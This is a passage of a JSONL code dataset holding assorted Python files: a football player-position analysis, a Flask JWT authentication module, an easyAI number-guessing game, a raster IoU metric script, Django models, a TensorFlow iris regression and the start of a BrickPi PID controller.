replaced)\n\nprint(replaced)\n","sub_path":"decode_string.py","file_name":"decode_string.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"262870682","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Apr 13 03:34:56 2018\r\n\r\n@author: pragy\r\n\"\"\"\r\nimport sqlite3 \r\nimport pandas as pd\r\nimport numpy as np\r\nimport itertools\r\n\r\nimport os\r\nimport matplotlib.pyplot as plt\r\nimport datetime\r\nfrom IPython import get_ipython\r\n\r\ndf['Player_Attributes'] = pd.read_csv('F:/Player-Analytics/Player_Attributes_v22.csv')\r\nr= np.unique(df['Player_Attributes'].player_api_id, return_index=True, return_inverse=True, return_counts=True)\r\n#extracting 1 row for each player id into a separate data frame for analysis\r\n\r\nr[0][1:10]\r\nr[1][1:10]\r\nindices =r[1]+1\r\n\r\nunique_player_rows = df['Player_Attributes'][(df['Player_Attributes'].id.isin(indices))]\r\ndf_unique = pd.DataFrame(data= unique_player_rows)\r\ndf_unique.bucket810.describe()\r\n#analysis\r\nlen(df_unique) \r\n#11060 unique players\r\n\r\ndf_unique.bucket_std1.describe()\r\n\r\n#count 11060.000000\r\n#mean 0.152850\r\n#std 0.315145\r\n#min 0.000000\r\n#25% 0.000000\r\n#50% 0.000000\r\n#75% 0.173537\r\n#max 3.500000\r\n\r\n\r\ncount_0= sum(df_unique.bucket_std1==0) # 6608\r\n#percentage of NaN values in average_deviation\r\n\r\nper_0 =count_0/len(df_unique)*100 #59.747%\r\n\r\n#bucket_std1 =0 values imply the following:\r\n# 1. Player has played in only one of the 3 time buckets\r\n# 2. Playefr has played in exactly the same position in 2 or more time buckets\r\n\r\n#There are 59.747% of such abover players\r\n\r\nbucket_std_not0 = df_unique.bucket_std1[df_unique.bucket_std1>0]\r\nlen(bucket_std_not0) # 4452\r\n\r\nfig=plt.figure()\r\nprint('creating subplot')\r\nax=fig.add_subplot(111)\r\nprint('creating histogram')\r\nbp=ax.hist(bucket_std_not0, bins =14, color=\"purple\")\r\nprint('saving figure')\r\nfig.savefig('bucket_std1_hist.png')\r\nplt.close(fig) \r\n\r\n#We notice maximum number of records to have standard deviation between 0 and 1\r\n# standard deviation of records over 0.5 needs a more closer look\r\n\r\ndf_stdoverpoint5 = df_unique.bucket_mean1[df_unique.bucket_std1>0.5]\r\n\r\ndf_stdoverpoint5.describe()\r\n\r\n#count 1133.000000\r\n#mean 6.733434\r\n#std 2.024886\r\n#min 1.666667\r\n#25% 4.845238\r\n#50% 6.767034\r\n#75% 8.532609\r\n#max 10.444629\r\n\r\nper_overpoint5= len(df_stdoverpoint5)/len(df_unique) *100 # 10.244% of the players have had over 0.5 units of standard deviation in their play position\r\n\r\nfig=plt.figure()\r\nprint('creating subplot')\r\nax=fig.add_subplot(111)\r\nprint('creating boxplot')\r\nbp=ax.boxplot(df_stdoverpoint5)\r\nprint('saving figure')\r\nfig.savefig('bucket_mean1_stdoverpoint5.png')\r\nplt.close(fig) \r\n\r\n# The above boxplot suggests that 50% of the players whose standard deviation in position is over 0.5, have bucket_mean1 from4.84 to 8.53\r\n# This is not alarming\r\n\r\n\r\ndf_stdover1 = df_unique.bucket_mean1[df_unique.bucket_std1>1]\r\n\r\ndf_stdover1.describe()\r\n\r\n#count 330.000000\r\n#mean 6.196546\r\n#std 1.740329\r\n#min 3.807018\r\n#25% 4.729620\r\n#50% 5.537900\r\n#75% 7.973095\r\n#max 9.96739\r\n\r\nper_over1= len(df_stdover1)/len(df_unique) *100 # 2.98% of the players have had over 0.5 units of standard deviation in their play position\r\n\r\nfig=plt.figure()\r\nprint('creating subplot')\r\nax=fig.add_subplot(111)\r\nprint('creating boxplot')\r\nbp=ax.boxplot(df_stdover1)\r\nprint('saving figure')\r\nfig.savefig('bucket_mean1_stdover1.png')\r\nplt.close(fig) \r\n\r\n# The above boxplot suggests that 50% of the players whose standard deviation in position is over 1, have bucket_mean1 from 4.72 to 7.97\r\n# This is not alarming either\r\n\r\n# identifying the borderline players \r\n\r\ndef pos(x):\r\n if (x>=5 and x<10):\r\n return 3\r\n elif(x>1 and x<5):\r\n return 2\r\n elif(x >=10):\r\n return 4\r\n elif (np.isnan(x)):\r\n return \"nan\"\r\n elif(x <=1):\r\n return 1\r\n \r\n \r\n else:\r\n return 0\r\n \r\ndef get_pos(x):\r\n if (x==1):\r\n return \"gk\"\r\n elif(x==2):\r\n return \"def\"\r\n elif(x==3):\r\n return \"mid\"\r\n elif (x==4):\r\n return \"Attacker\"\r\n \r\n \r\n else:\r\n return 0\r\n \r\n \r\ndf_unique.bucket810.describe()\r\ndf_unique.bucket1013.describe()\r\ndf_unique.bucket1316.describe()\r\nbucket1_np= np.array(df_unique.bucket810,dtype=float)\r\nbucket2_np= np.array(df_unique.bucket1013,dtype=float)\r\nbucket3_np= np.array(df_unique.bucket1316,dtype=float)\r\nbucketmean_np =np.array(df_unique.bucket_mean1,dtype=float)\r\nplayerid_np =np.array(df_unique.player_api_id,dtype=int)\r\nx= pos(bucket1_np[1])\r\n\r\nnp.isnan(bucket1_np[134])\r\n\r\n\r\n\r\nposition={}\r\nposition1={}\r\nposition2={}\r\nposition3={}\r\n\r\nfor i in range(0,len(playerid_np)):\r\n result=[]\r\n result.append(pos(bucket1_np[i]))\r\n #print(bucket1_np[i])\r\n #print(pos(bucket1_np[i]))\r\n result.append(pos(bucket2_np[i]))\r\n #print(bucket2_np[i])\r\n #print(pos(bucket2_np[i]))\r\n result.append(pos(bucket3_np[i]))\r\n #print(bucket3_np[i])\r\n #print(pos(bucket3_np[i]))\r\n result.append(pos(bucketmean_np[i]))\r\n #print(bucketmean_np[i])\r\n #print(pos(bucketmean_np[i]))\r\n arr_result=np.array(result,dtype=float)\r\n #print(arr_result)\r\n y= np.nanstd(arr_result)\r\n #print(y)\r\n if (y==0):\r\n position[playerid_np[i]]=pos(bucketmean_np[i])\r\n \r\n #print(playerid_np[i])\r\n #print(get_pos(pos(bucketmean_np[i])))\r\n \r\n \r\n else:\r\n position[playerid_np[i]]=5\r\n position1[playerid_np[i]]= pos(bucket1_np[i]) \r\n position2[playerid_np[i]]= pos(bucket2_np[i])\r\n position3[playerid_np[i]]= pos(bucket3_np[i])\r\n \r\n \r\nlen(position1)# 807\r\nlen(position2)#807\r\nlen(position3)#807 \r\n \r\n \r\n\r\nnew_stuff=pd.DataFrame.from_dict(position,orient='index')\r\nnew_stuff=new_stuff.reset_index()\r\nnew_stuff.columns=['player_api_id','position']\r\n\r\nnew_stuff.to_csv('position_unique' + '.csv', index_label='index') \r\nnew_stuff.position.describe()\r\nnew_stuff.position.value_counts()\r\n\r\n#3 4734 - 42.80%\r\n#2 3431 - 31.02%\r\n#4 1147 - 10.37%\r\n#1 941 - 8.5%\r\n#5 807 - 7.3%\r\n\r\nfig=plt.figure()\r\nprint('creating subplot')\r\nax=fig.add_subplot(111)\r\nprint('creating barplot')\r\n\r\n\r\nplot=new_stuff.position.value_counts().plot(kind='bar')\r\nfig=plot.get_figure()\r\n\r\nprint('saving figure')\r\nfig.savefig('player_position_distribution.png')\r\nplt.close(fig) \r\n\r\n#814 players are on \"borderline\"... as in played at multiple positions \r\n#7.36% of my players have played in more than 1 position over time.\r\n\r\n#Since this is a significant number, we will divide our positions into 6 buckets instead of 4 buckets. \r\n# But first, lets find out the exact variation of positions in these identified \"borderline\" players\r\n\r\n \r\nPA_all = pd.DataFrame(df['Player_Attributes'])\r\nPA_all1=PA_all.drop('Position',1)\r\nPA_all2=PA_all1.drop('average_deviation',1)\r\nPA_all3=PA_all2.drop('average deviation',1)\r\nPA_all4=PA_all3.drop('diff1',1)\r\nPA_all5=PA_all4.drop('diff2',1)\r\nPA_all6=PA_all5.drop('diff3',1)\r\nPA_all7=PA_all6.drop('diff_mean',1)\r\nPA_all8=PA_all7.drop('diff12',1)\r\nPA_all9=PA_all8.drop('diff23',1)\r\nPA_all10=PA_all9.drop('diff31',1)\r\n\r\nPA = PA_all10\r\n\r\n\r\nnew_PA=pd.merge(PA, new_stuff, how='left', on=['player_api_id'])\r\n\r\n\r\nfig=plt.figure()\r\nprint('creating subplot')\r\nax=fig.add_subplot(111)\r\nprint('creating barplot')\r\nplot=new_PA.position.value_counts().plot(kind='bar')\r\nfig=plot.get_figure()\r\nprint('saving figure')\r\nfig.savefig('player_position_distribution_new_PA.png')\r\nplt.close(fig) \r\n\r\nlen(new_PA)\r\nnew_PA.position.value_counts()\r\n\r\n#3 81244 - 44.16%\r\n#2 53504 - 29.08%\r\n#4 18133 - 9.8%\r\n#5 16441 - 8.9% - significant\r\n#1 14656 - 7.9%\r\n\r\n\r\nnew_PA['position1'] =np.where(new_PA['position']!= 5, new_PA['position'],new_PA['year'])\r\n#new_PA.to_csv('new_PA' + '.csv', index_label='index') \r\n\r\nnew_PA['position2'] =np.where((new_PA['position1']== 2008) | (new_PA['position1']==2009) | (new_PA['position1']== 2010), new_PA['bucket810'],new_PA['position1'])\r\nnew_PA['position2'] =np.where((new_PA['position1']== 2011) | (new_PA['position1']==2012) | (new_PA['position1']== 2013), new_PA['bucket1013'],new_PA['position2'])\r\nnew_PA['position2'] =np.where((new_PA['position1']== 2014) | (new_PA['position1']==2015) | (new_PA['position1']== 2016), new_PA['bucket1316'],new_PA['position2'])\r\nnew_PA['position2'] =np.where(new_PA['position1']== 2007, new_PA['bucket_mean1'],new_PA['position2'])\r\nnew_PA['position2'] =np.where(new_PA['position2'].isnull(), new_PA['bucket_mean1'],new_PA['position2'])\r\n\r\nnew_PA['position2']=new_PA['position2'].astype(np.float32)\r\nnew_PA.position2.describe()\r\n\r\nnew_PA['position3'] =np.where((new_PA['position']==5)& (new_PA['position2']>=10), 40 ,new_PA['position2'])\r\nnew_PA['position3'] =np.where((new_PA['position']==5)& (new_PA['position3']<10), 30 ,new_PA['position3'])\r\nnew_PA['position3'] =np.where((new_PA['position']==5)& (new_PA['position2']<5), 20 ,new_PA['position3'])\r\nnew_PA['position3'] =np.where((new_PA['position']==5)& (new_PA['position2']<2), 10 ,new_PA['position3'])\r\n\r\nnew_PA['position3'] =np.where((new_PA['position3']==10), 1 ,new_PA['position3'])\r\nnew_PA['position3'] =np.where((new_PA['position3']==20), 2,new_PA['position3'])\r\nnew_PA['position3'] =np.where((new_PA['position3']==30), 3 ,new_PA['position3'])\r\nnew_PA['position3'] =np.where((new_PA['position3']==40), 4 ,new_PA['position3'])\r\n\r\nnew_PA.to_csv('PA_afterQA' + '.csv', index_label='index') \r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"QA on feature extraction.py","file_name":"QA on feature extraction.py","file_ext":"py","file_size_in_byte":9358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"510813702","text":"import jwt\nimport datetime\nimport time\nfrom ..models import Users, LoginInfo\nfrom .. import db, logger, SECRET_KEY\nfrom ..common import success_return, false_return, session_commit, code_return, sort_by_order\nfrom ..public_method import new_data_obj\nfrom sqlalchemy import or_\nfrom ..public_method import table_fields, get_table_data_by_id\n\n\ndef encode_auth_token(user_id, login_time, login_ip, platform):\n \"\"\"\n 生成认证Token\n “exp”: 过期时间\n “nbf”: 表示当前时间在nbf里的时间之前，则Token不被接受\n “iss”: token签发者\n “aud”: 接收者\n “iat”: 发行时间\n :param user_id: string\n :param login_time: int(timestamp)\n :param login_ip: string\n :return: string\n \"\"\"\n try:\n payload = {\n 'exp': datetime.datetime.utcnow() + datetime.timedelta(days=0, seconds=86400),\n 'iat': datetime.datetime.utcnow(),\n 'iss': 'infinicalc.com',\n 'data': {\n 'id': user_id,\n 'login_time': login_time,\n 'login_ip': login_ip,\n 'platform': platform\n }\n }\n return jwt.encode(\n payload,\n SECRET_KEY,\n algorithm='HS256'\n )\n except Exception as e:\n logger.error(str(e))\n return false_return(message=str(e)), 400\n\n\ndef authenticate(username, password, login_ip, platform, method='password'):\n \"\"\"\n 用户登录，登录成功返回token，将登录时间写入数据库；登录失败返回失败原因\n :param username: 用户名、邮箱或者手机号\n :param password: 用户密码，或者是手机验证码\n :param login_ip: 用户发起请求的IP\n :param platform: pc | mobile\n :param method: default is password, or else use code\n code: using the phone number as username, cell phone message as password\n wechat: using wechat id as login username , password=?\n :return: json\n \"\"\"\n verify_method = {\n 'password': {\"method\": \"verify_password\", 'msg': '用户名密码不正确'},\n 'code': {'method': 'verify_code', 'msg': '验证码错���'}\n }\n\n user_info = Users.query.filter(or_(Users.username.__eq__(username),\n Users.phone.__eq__(username),\n Users.email.__eq__(username)), Users.status.__eq__(1)).first()\n\n if user_info is None:\n return code_return(false_return(message='找不到用户'))\n\n # 查询并删除已经登陆的信息\n logged_in_info = user_info.login_info.filter_by(platform=platform, status=True).all()\n for lg in logged_in_info:\n db.session.delete(lg)\n session_commit()\n\n if getattr(user_info, verify_method[method]['method'])(password):\n login_time = int(time.time())\n token = encode_auth_token(user_info.id, login_time, login_ip, platform).decode()\n\n new_data_obj(\"LoginInfo\",\n **{\n 'token': token,\n 'login_time': login_time,\n 'login_ip': login_ip,\n 'platform': platform,\n 'user': user_info.id,\n 'status': True\n }\n )\n # db.session.add(user_info)\n session_commit()\n\n permissions = [u.permission for u in user_info.permissions if u.permission is not None]\n\n ru = get_table_data_by_id(Users, user_info.id, [\"roles\", \"menus\"], [\"password_hash\"])\n menus = ru.pop('menus')\n\n sort_by_order(menus)\n\n # permissions = ru.pop['permissions']\n return success_return(data={'token': token, 'menus': menus, 'permissions': permissions, 'user': ru},\n message='登录成功')\n else:\n return false_return(message=verify_method[method]['msg']), 400\n\n\ndef decode_auth_token(auth_token):\n \"\"\"\n 验证Token\n :param auth_token:\n :return: integer|string\n \"\"\"\n try:\n payload = jwt.decode(auth_token, SECRET_KEY, leeway=datetime.timedelta(seconds=10))\n # 取消过期时间验证\n # payload = jwt.decode(auth_token, config.SECRET_KEY, options={'verify_exp': False})\n if 'data' in payload.keys() and 'id' in payload['data'].keys():\n return success_return(data=payload)\n else:\n raise jwt.InvalidTokenError\n except jwt.ExpiredSignatureError:\n return false_return(message='Token过期')\n except jwt.InvalidTokenError:\n return false_return(message='无效Token')\n\n\ndef identify(request):\n \"\"\"\n 用户鉴权\n :param: request\n :return: json\n \"\"\"\n auth_header = request.headers.get('Authorization')\n if auth_header:\n auth_token_arr = auth_header.split(\" \")\n if not auth_token_arr or auth_token_arr[0] != 'Bearer' or len(auth_token_arr) != 2:\n result = false_return(message='请传递正确的验证头信息')\n else:\n auth_token = auth_token_arr[1]\n if not LoginInfo.query.filter_by(token=auth_token).first():\n return false_return(message='认证失败')\n payload = decode_auth_token(auth_token)\n if payload['code'] == 'success':\n data = payload['data']['data']\n user = Users.query.filter_by(id=data['id']).first()\n if user is None:\n result = false_return('', '找不到该用户信息')\n else:\n login_info = LoginInfo.query.filter_by(token=auth_token, user=user.id).first()\n if login_info and login_info.login_time == data['login_time']:\n result = success_return(data={\"user\": user, \"login_info\": login_info}, message='请求成功')\n else:\n result = false_return(message='Token已更改，请重新登录获取')\n else:\n result = payload\n else:\n result = false_return(message='没有提供认证token')\n return result\n","sub_path":"app/auth/auths.py","file_name":"auths.py","file_ext":"py","file_size_in_byte":6076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"479118259","text":"from random import randint\nfrom easyAI import TwoPlayerGame, Human_Player, AI_Player, Negamax\n\"\"\"\nInstrukcja:\n\n- instalacja pakietu easyAI (pip install easyAI) lub instalacja z pliku requirements.txt (pip install -r requirements.txt)\n\nAutorzy: \n\n- Damian Brzoskowski (s18499), Rafał Sochacki (s20047)\n\nOpis:\n\nGra jest wykorzystaniem popularnej gry \"Zgadnij liczbę\"\nW tym przypadku jest to gra oparata o easyAI, która ma za zadanie wykorzystać AI do tego, aby odgadło liczbę szybciej\nniż człowiek. Kto pierwszy zgadnie jaka liczba została wylosowana z przedziału od 1 do 20 ten wygrywa\n\"\"\"\n\n\nclass GuessNumber(TwoPlayerGame):\n \"\"\" In turn, the players remove one, two or three bones from a\n pile of bones. The player who removes the last bone loses. \"\"\"\n\n def __init__(self, players):\n \"\"\" Initialize Game objects and take players as an arg\n :param players:\n \"\"\"\n self.winner = False\n self.players = players\n self.human_numbers = [i for i in range(1, 21)] # Human numbers range\n self.ai_numbers = [i for i in range(1, 21)] # AI numbers range\n self.current_player = 1\n self.guess_number = randint(1, 21) # random number to guess\n self.move = None # we must know about move\n\n def possible_moves(self):\n \"\"\" Possible moves to make in the game \"\"\"\n if self.player.name == 'Human':\n return self.ai_numbers\n elif self.player.name == 'AI':\n return self.human_numbers\n\n def make_move(self, move):\n \"\"\"\n The logic of how the game moves\n :param move: Take move chosen by player and remove from possible moves\n :return: Return the list in which the number was removed\n \"\"\"\n if self.player.name == 'Human':\n self.ai_numbers.remove(move)\n else:\n self.human_numbers.remove(move)\n self.move = move\n\n def win(self):\n \"\"\" Checks if someone is winning the match \"\"\"\n return self.guess_number == self.move\n\n def is_over(self):\n \"\"\" Game stops when someone guess number \"\"\"\n return self.win()\n\n def show(self):\n \"\"\" Show information about possibles moves in current round \"\"\"\n if self.player.name == 'Human':\n print(f\"{self.ai_numbers} {self.opponent.name} numbers left\")\n if self.player.name == 'AI':\n print(f\"{self.human_numbers} {self.opponent.name} numbers left\")\n\n def scoring(self):\n \"\"\" Final points and ends the game\"\"\"\n return 100 if game.win() else 0 # For the AI\n\n\nai = Negamax(2) # The AI will think 2 moves in advance\ngame = GuessNumber([Human_Player(), AI_Player(ai)])\nhistory = game.play()\n","sub_path":"GuessNumber/guessnumber.py","file_name":"guessnumber.py","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"59204683","text":"#!/usr/bin/env python3\n\n# The MIT License (MIT)\n# =====================\n#\n# Copyright © 2020 Azavea\n#\n# Permission is hereby granted, free of charge, to any person\n# obtaining a copy of this software and associated documentation\n# files (the “Software”), to deal in the Software without\n# restriction, including without limitation the rights to use,\n# copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the\n# Software is furnished to do so, subject to the following\n# conditions:\n#\n# The above copyright notice and this permission notice shall be\n# included in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n# OTHER DEALINGS IN THE SOFTWARE.\n\n\nimport argparse\n\nimport numpy as np\nimport rasterio as rio\n\n\ndef cli_parser() -> argparse.ArgumentParser:\n parser = argparse.ArgumentParser()\n parser.add_argument('--predictions', required=True, type=str)\n parser.add_argument('--ground-truth', required=True, type=str)\n return parser\n\n\n# Given predictions and ground-truth, compute the IOU and other\n# statistics.\nif __name__ == '__main__':\n args = cli_parser().parse_args()\n\n with rio.open(args.predictions, 'r') as ds1, rio.open(args.ground_truth, 'r') as ds2:\n data1 = (ds1.read() >= 1).astype(np.int8)\n data2 = ds2.read()\n not_nodata = (data2 != 0)\n data2 = (data2 > 1).astype(np.int8)\n\n tp = ((data1 * data2 * not_nodata) > 0).sum()\n fp = ((data1 * (data2 == 0) * not_nodata) > 0).sum()\n fn = (((data1 == 0) * data2 * not_nodata) > 0).sum()\n iou = float(tp) / (((data1 + data2) * not_nodata) > 0).sum()\n # om = float(((data2 - data1)*not_nodata >= 1).sum()) / (data2 * not_nodata).sum()\n # com = float(((data1 - data2)*not_nodata >= 1).sum()) / (data2 * not_nodata).sum()\n recall = float(tp)/(tp + fn)\n precision = float(tp)/(tp + fp)\n f1 = 2 * (precision * recall) / (precision + recall)\n print('| | {} | {} | {} | {} |'.format(recall, precision, f1, iou))\n","sub_path":"python/local/iou.py","file_name":"iou.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"479346234","text":"class CollectionReports:\n\n publisher = \"\"\n isbn = \"\"\n source = \"\" # is part of\n name = \"\"\n date = \"\"\n issued = \"\"\n\n\nclass Report:\n\n author_ru = \"\"\n author_en = \"\"\n title_ru = \"\"\n title_en = \"\"\n abstract_ru = \"\"\n abstract_en = \"\"\n sponsorship = \"\"\n subject_ru = \"\"\n subject_en = \"\"\n language = \"\"\n type_report = \"\"\n mimetype = \"\"\n collection = CollectionReports()\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"426089149","text":"\"\"\".. Ignore pydocstyle D400.\n\n======\nModels\n======\n\n\"\"\"\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nfrom django.db import models\n\nfrom resolwe.flow.models import BaseCollection, Collection\n\n\nclass Sample(BaseCollection):\n \"\"\"Postgres model for storing sample.\"\"\"\n\n class Meta(BaseCollection.Meta):\n \"\"\"Collection Meta options.\"\"\"\n\n permissions = (\n (\"view_sample\", \"Can view sample\"),\n (\"edit_sample\", \"Can edit sample\"),\n (\"share_sample\", \"Can share sample\"),\n (\"download_sample\", \"Can download files from sample\"),\n (\"add_sample\", \"Can add data objects to sample\"),\n (\"owner_sample\", \"Is owner of the sample\"),\n )\n\n #: list of collections to which sample belong\n collections = models.ManyToManyField(Collection)\n\n #: sample not finalized (missing data, annotations or not yet confirmed)\n presample = models.BooleanField(default=True)\n","sub_path":"resolwe_bio/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"140596513","text":"from django.core.validators import RegexValidator\nfrom django.db import models\nfrom django.conf import settings\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom city.models import City\nfrom guide.models import Guide\nfrom hash_tag.models import HashTag\n\n\ndef trip_package_main_img_path(instance, filename):\n return 'image/trip_package/{trip_package_id}/main/{filename}'.format(\n trip_package_id=instance.trip_package.id,\n filename=filename)\n\n\ndef trip_package_detail_img_path(instance, filename):\n return 'image/trip_package/{trip_package_id}/detail/{filename}'.format(\n trip_package_id=instance.trip_package.id,\n filename=filename)\n\n\ndef trip_package_review_img_path(instance, filename):\n return 'image/trip_package/{trip_package_id}/review/{filename}'.format(\n trip_package_id=instance.trip_package.id,\n filename=filename)\n\n\nclass TripPackage(models.Model):\n\n title = models.CharField(\n verbose_name=_('제목'),\n max_length=100,\n )\n\n sub_title = models.CharField(\n verbose_name=_('부제'),\n max_length=100,\n )\n\n created_at = models.DateTimeField(\n verbose_name=_('작성시간'),\n auto_now_add=True,\n )\n\n last_modified_at = models.DateTimeField(\n verbose_name=_('최근 수정시간'),\n auto_now=True,\n )\n\n city = models.ForeignKey(\n City,\n on_delete=models.CASCADE,\n verbose_name=_('도시'),\n )\n\n address = models.CharField(\n verbose_name=_('메인주소'),\n max_length=191,\n )\n\n price = models.PositiveIntegerField(\n verbose_name=_('가격'),\n )\n\n guide = models.ForeignKey(\n Guide,\n on_delete=models.CASCADE,\n verbose_name=_('가이드'),\n )\n\n like_user_set = models.ManyToManyField(\n settings.AUTH_USER_MODEL,\n related_name='like_trip_package_set',\n verbose_name=_('좋아요 유저'),\n blank=True,\n )\n\n hash_tag_set = models.ManyToManyField(\n HashTag,\n related_name='trip_package_hash_tag_set',\n verbose_name=_('해시 태그'),\n )\n\n review_user_set = models.ManyToManyField(\n settings.AUTH_USER_MODEL,\n related_name='trip_package_review_set',\n through=\"TripPackageReview\",\n verbose_name=_('리뷰 유저'),\n blank=True,\n )\n\n\nclass TripPackageMainImg(models.Model):\n\n trip_package = models.ForeignKey(\n TripPackage,\n on_delete=models.CASCADE,\n verbose_name=_('상품')\n )\n\n image = models.ImageField(\n verbose_name=_('이미지'),\n upload_to=trip_package_main_img_path,\n )\n\n\nclass TripPackageDetail(models.Model):\n\n trip_package = models.ForeignKey(\n TripPackage,\n on_delete=models.CASCADE,\n verbose_name=_('상품')\n )\n\n image = models.ImageField(\n verbose_name=_('이미지'),\n upload_to=trip_package_detail_img_path,\n default='',\n blank=True\n )\n\n text = models.TextField(\n verbose_name=_('내용'),\n default='',\n blank=True\n )\n\n\nclass TripPackageReview(models.Model):\n\n trip_package = models.ForeignKey(\n TripPackage,\n on_delete=models.CASCADE,\n verbose_name=_('상품')\n )\n\n user = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE,\n verbose_name=_('작성자')\n )\n\n rating = models.CharField(\n verbose_name=_('평점'),\n max_length=1,\n validators=[RegexValidator(r'^[1,5]$')],\n )\n\n image = models.ImageField(\n verbose_name=_('이미지'),\n upload_to=trip_package_review_img_path,\n default='',\n blank=True,\n )\n\n text = models.TextField(\n verbose_name=_('리뷰 내용'),\n blank=True,\n )\n\n created_at = models.DateTimeField(\n auto_now_add=True,\n verbose_name=_('작성시간'),\n )\n\n last_modified_at = models.DateTimeField(\n auto_now=True,\n verbose_name=_('최근 수정시간'),\n )\n\n\nclass TripPackageAddition(models.Model):\n\n trip_package = models.ForeignKey(\n TripPackage,\n on_delete=models.CASCADE,\n verbose_name=_('상품')\n )\n\n title = models.CharField(\n verbose_name=_('제목'),\n max_length=50,\n )\n\n text = models.TextField(\n verbose_name=_('내용'),\n default='',\n blank=True\n )\n","sub_path":"trip_package/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"324469628","text":"# -*- coding: utf-8 -*-\n\"\"\"\nstep03_gradientTape_model2_iris.py\n\ntf.GradientTape + regression model(iris)\n - x변수 : 2 ~ 4컬럼\n - y변수 : 1컬럼\n - model 최적화 알고리즘 : Adam\n\"\"\"\nimport tensorflow as tf\nimport pandas as pd\nfrom sklearn.datasets import load_iris\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import mean_squared_error, r2_score\n\n\n# 1. input/output 변수 정의 \niris = load_iris()\ninputs = iris.data[:,1:]\noutputs = iris.data[:,0]\ninputs.shape # (150, 3) : X변수\noutputs.shape # (150,) : Y변수\n\nx_train, x_test, y_train, y_test = train_test_split(\n inputs, outputs, test_size = 0.3, random_state = 123)\n\ntf.random.set_seed(123) # W, B seed값\n \n# 2. model : Model 클래스\nclass Model(tf.keras.Model): # 자식클래스(부모클래스)\n def __init__(self): # 생성자\n super().__init__() # 부모생성자 호출\n self.W = tf.Variable(tf.random.normal([3,1])) # 기울기(가중치)\n self.B = tf.Variable(tf.random.normal([1])) # 절편\n \n def call(self, inputs): # 메서드 재정의, call : .call이 필요없이 생성자 객체 내에 인수입력 가능 \n # cast() : float64 -> float32\n return tf.matmul(tf.cast(inputs, tf.float32), self.W) + self.B # 회귀방정식(예측치)\n \n \n# 3. 손실 함수 : 오차 반환\ndef loss(model, inputs, outputs):\n err = model(inputs) - outputs # 예측치 - 정답\n return tf.reduce_mean(tf.square(err)) # MSE\n\n# 4. 미분계수(기울기) 계산 \ndef gradient(model, inputs, outputs):\n with tf.GradientTape() as tape:\n loss_value = loss(model, inputs, outputs) # 손실함수 호출 \n grad = tape.gradient(loss_value, [model.W, model.B]) \n # 미분계수 -> 기울기와 절편 업데이트\n return grad # 업데이트 결과 반환\n\n# 5. model 생성\nmodel = Model() # 생성자\n\n# 6. model 최적화\nopt = tf.keras.optimizers.SGD(learning_rate = 0.01)\n\nprint(\"초기 손실값 : {:.6f}\".format(loss(model, inputs, outputs)))\nprint(\"w : {}, b : {}\".format(model.W.numpy(), model.B.numpy()))\n\n# 7. 반복학습 : train\nfor step in range(500):\n grad = gradient(model, x_train, y_train) # 기울기 계산\n # 기울기 -> 최적화 객체 반영\n opt.apply_gradients(zip(grad, [model.W, model.B]))\n if (step + 1) % 20 == 0:\n print(\"step = {}, loss = {}\".format(step + 1, \n loss(model, x_train, y_train)))\n \n# model 최적화\nprint(\"최종 손실값 : {:.6f}\".format(loss(model, x_train, y_train)))\nprint(\"w : {}, b : {}\".format(model.W.numpy(), model.B.numpy()))\n\n# model test : test\n\ny_pred = model.call(x_test)\n# print(y_pred.numpy())\n\n\nmse = mean_squared_error(y_test, y_pred)\nprint(\"mse =\", mse)\n\nr2 = r2_score(y_test,y_pred)\nprint(\"r2 =\", mse)","sub_path":"chap03_Linear_Regression/lecture_2x/step03_gradientTape_model2_iris.py","file_name":"step03_gradientTape_model2_iris.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"518616212","text":"# Program provides feedback control based on motor encoder readings\r\n# Developed for in class activity\r\n# ENGR 162, Spring 2018\r\n\r\nimport time # import the time library for the sleep function\r\nimport brickpi3 # import the BrickPi3 drivers\r\nimport grovepi\r\n\r\n\r\nBP = brickpi3.BrickPi3() # Create an instance of the BrickPi3 class. BP will be the BrickPi3 object.\r\nus_port = 5\r\n\r\n\r\n# initialization\r\n# Tuning parameters\r\nKP = 1.0 # proportional control gain\r\nKI = 2.0 # integral control gain\r\nKD = 0.0 # derivative control gain\r\n\r\ndT = 0.02 # time step\r\n\r\ntarget_pos = -123\r\ntargetC = -16\r\n\r\ncurrent_pos = 0\r\ncurrentC = 